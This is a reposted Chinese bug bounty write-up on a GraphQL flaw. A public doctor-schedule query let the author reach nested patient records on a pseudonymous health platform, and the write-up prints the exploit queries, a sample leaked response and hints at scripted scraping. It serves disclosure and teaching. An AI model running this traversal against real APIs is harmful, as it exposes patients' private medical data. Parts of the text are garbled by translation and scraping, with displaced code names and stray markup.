GraphQL授权检查缺失如何暴露了一台HealthTech独角兽的医疗记录

admin 2026-06-23 05:11:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文通过HealthTech平台MediCloud的GraphQL漏洞案例,揭示因嵌套解析器缺失字段级授权检查导致200万患者医疗记录泄露。攻击者利用公共查询绕过根级权限验证,直接遍历关联数据获取敏感信息。关键发现包括内省功能暴露数据关系、解析器层授权缺失风险,建议开发者实施字段级安全中间件,渗透测试需关注替代数据路径。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,安全开发,数据安全


cover_image

GraphQL授权检查缺失如何暴露了一台HealthTech独角兽的医疗记录

haidragon haidragon

安全狗的自我修养

2026年6月22日 16:02 湖南

在小说阅读器读本章

去阅读

作者介绍:http://gitee.com/haidragon

在现代API的世界里,GraphQL是王者。它灵活高效,允许前端开发者通过单一查询准确请求所需数据。你不需要同时访问十个不同的 REST 端点,而是提出你想要的东西,GraphQL 就能满足你的需求。

但这种灵活性是一把双刃剑。由于GraphQL作为单一数据网关,保护其安全性需要在各个解析器层进行严格的对象级授权检查。如果开发者忘记保护某个特定的关系字段,整个数据库可能会泄露。

这是一个著名的健康科技平台——我们称之为MediCloud——如何因嵌套GraphQL解析器中缺失的一次检查,意外暴露了超过两百万患者的私人病历、实验室结果和诊断历史的故事。

该漏洞仅用不到十分钟完成,并获得了14,000美元的昆虫悬赏

目标:患者仪表盘

MediCloud提供在线门户,患者可以查看处方、给医生发消息并下载化验结果。

当你登录患者仪表盘时,浏览器会发送一个标准的 GraphQL POST 请求,以填充用户界面。我用 Burp Suite 拦截了这个请求,分析了查询结构:/api/graphql

GraphQL

query GetPatientDashboard {
  me {
id
    firstName
    lastName
    email
    appointments {
id
date
      doctorName
    }
  }
}

回复完全还给了我的账户信息。如果我在查询中尝试更改自己的,服务器会阻止。应用程序正确验证了我的会话Cookie,并将范围严格绑定到我认证的用户ID。id``me``me

从外观上看,该 API 完全抵御了标准的破坏对象级授权(BOLA)攻击。

足迹:深入剖析GraphQL架构

测试GraphQL的真正力量在于内省。内省是内置功能,允许任何人查询API的整个模式,揭示所有可用的数据类型、查询、变异和关系。

许多生产环境会禁用内省功能,但MediCloud在其镜像生产环境的临时网关上保留了内省功能。我运行了内省查询,绘制了他们的模式。

我发现了一个类型,叫做,它包含一个嵌套字段,名为:Appointment``patient

GraphQL

typeAppointment {
id:ID!
date:String!
doctorName:String!
patient:PatientProfile!# <--- Interesting relationship
}
type PatientProfile {
&nbsp; id: ID!
&nbsp; medicalHistory: String
&nbsp; bloodType: String
&nbsp; diagnoses: [String]
}

这意味着如果你能直接通过ID查询一个物体,理论上你可以请求与其连接的对象,从而提取它们高度敏感的医疗数据。Appointment``patient

转折点:嵌套解析器绕过

我找了个根级查询,可以直接按ID获取约会。我找到了一个:。appointment(id: ID!)

我尝试查询另一用户的预约ID:

GraphQL

query {
&nbsp; appointment(id:&nbsp;"88392") {
date
&nbsp; &nbsp; doctorName
&nbsp; }
}

结果: 403 Forbidden - You are not authorized to view this appointment.

开发者成功对根查询进行了授权检查。系统会核实登录用户的ID是否与该预约关联的患者ID相符。如果没有,申请就会被拒绝。appointment

但这就是 GraphQL 架构变得棘手的地方。根查询并不是访问对象的唯一方式。如果我们通过图表中完全不同的、无关的路径访问预约,会发生什么?

我扫描了模式中其他返回该类型的字段,发现门户公共调度小部件使用了一个完全独立的查询:。Appointment``publicDoctorSchedule(doctorName: String!)

这个查询是完全公开的,因为未经认证的用户需要看到医生何时可以预约空位。

GraphQL

query {
&nbsp; publicDoctorSchedule(doctorName:&nbsp;"Dr. Smith") {
id
date
&nbsp; }
}

回复中列出了即将到来的预约时间段,包括已被其他患者预订的独特时段数值。id

因为它是公共目录,根授权检查是完全开放的。但如果我直接在这个公开查询中附加嵌套字段呢?publicDoctorSchedule``patient

漏洞利用:对敏感数据的图遍历

我设计了一个针对医生公开排班的查询,但我超越了公开和字段,深入图表,请求与那些已预订时段关联的私人档案:id``date``patient

GraphQL

query {
&nbsp; publicDoctorSchedule(doctorName:&nbsp;"Dr. Smith") {
id
date
&nbsp; &nbsp; patient {
id
&nbsp; &nbsp; &nbsp; medicalHistory
&nbsp; &nbsp; &nbsp; diagnoses
&nbsp; &nbsp; }
&nbsp; }
}

我点了发送

JSON

{
"data":{
"publicDoctorSchedule":[
{
"id":"88392",
"date":"2026-07-14",
"patient":{
"id":"USR_99210",
"medicalHistory":"Patient presented with acute fatigue...",
"diagnoses":["Type 2 Diabetes","Hypertension"]
}
}
]
}
}

数据库里把一切都丢掉了。

这里的安全漏洞是灾难性的。虽然开发者已经确保了根级查询的安全,但他们完全忘记在单个解析器函数中为该字段在其他类型中嵌套时写授权检查。appointment(id)``patient

因为GraphQL在查询树中独立评估字段,公开查询允许我获取预约对象,后端则盲目执行嵌套解析器,未确认我是否有权限查看该患者资料。通过脚本循环切换医生姓名,攻击者可以抓取整个患者数据库。patient

修复与赔偿

我立刻关闭了测试工具,编写了一份报告,包含一个最小化的查询,显示漏洞,并根据巨大的受保护健康信息(PHI)暴露风险,将其标记为最大严重程度。

  • 提交:

    星期三,下午4:00

  • 作为P1(危急)进行分诊:星期三,下午4:45(API网关暂时离线进行热修复)

  • 修复已验证:

    星期三,晚上7:30

  • 奖金:14,000美元

MediCloud通过实现集中授权中间件层解决了这个问题。他们不再仅将安全逻辑放在顶层查询上,而是直接在解析器内部强制执行字段级安全检查,确保无论请求上下文会话在图结构的哪个位置被调用,都能验证。PatientProfile

核心课程

  • 给开发者:

    切勿将查询级安全与现场授权混为一谈。在GraphQL中,任何敏感数据类型都必须在解析层实现授权。如果某个类型包含私有数据,其解析器每次获取时都必须验证用户权限,无论父查询为何。

  • 对于昆虫猎人:

    始终用内省(或者如果内省失效,也可以用现场猜测工具)绘制整个GraphQL架构。寻找数据循环和备选路径。如果直接路径被阻断,查找公共查询中的关系链接,看看嵌套字段是否缺乏合适的防御保护。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《GraphQL授权检查缺失如何暴露了一台HealthTech独角兽的医疗记录》

评论:0   参与:  0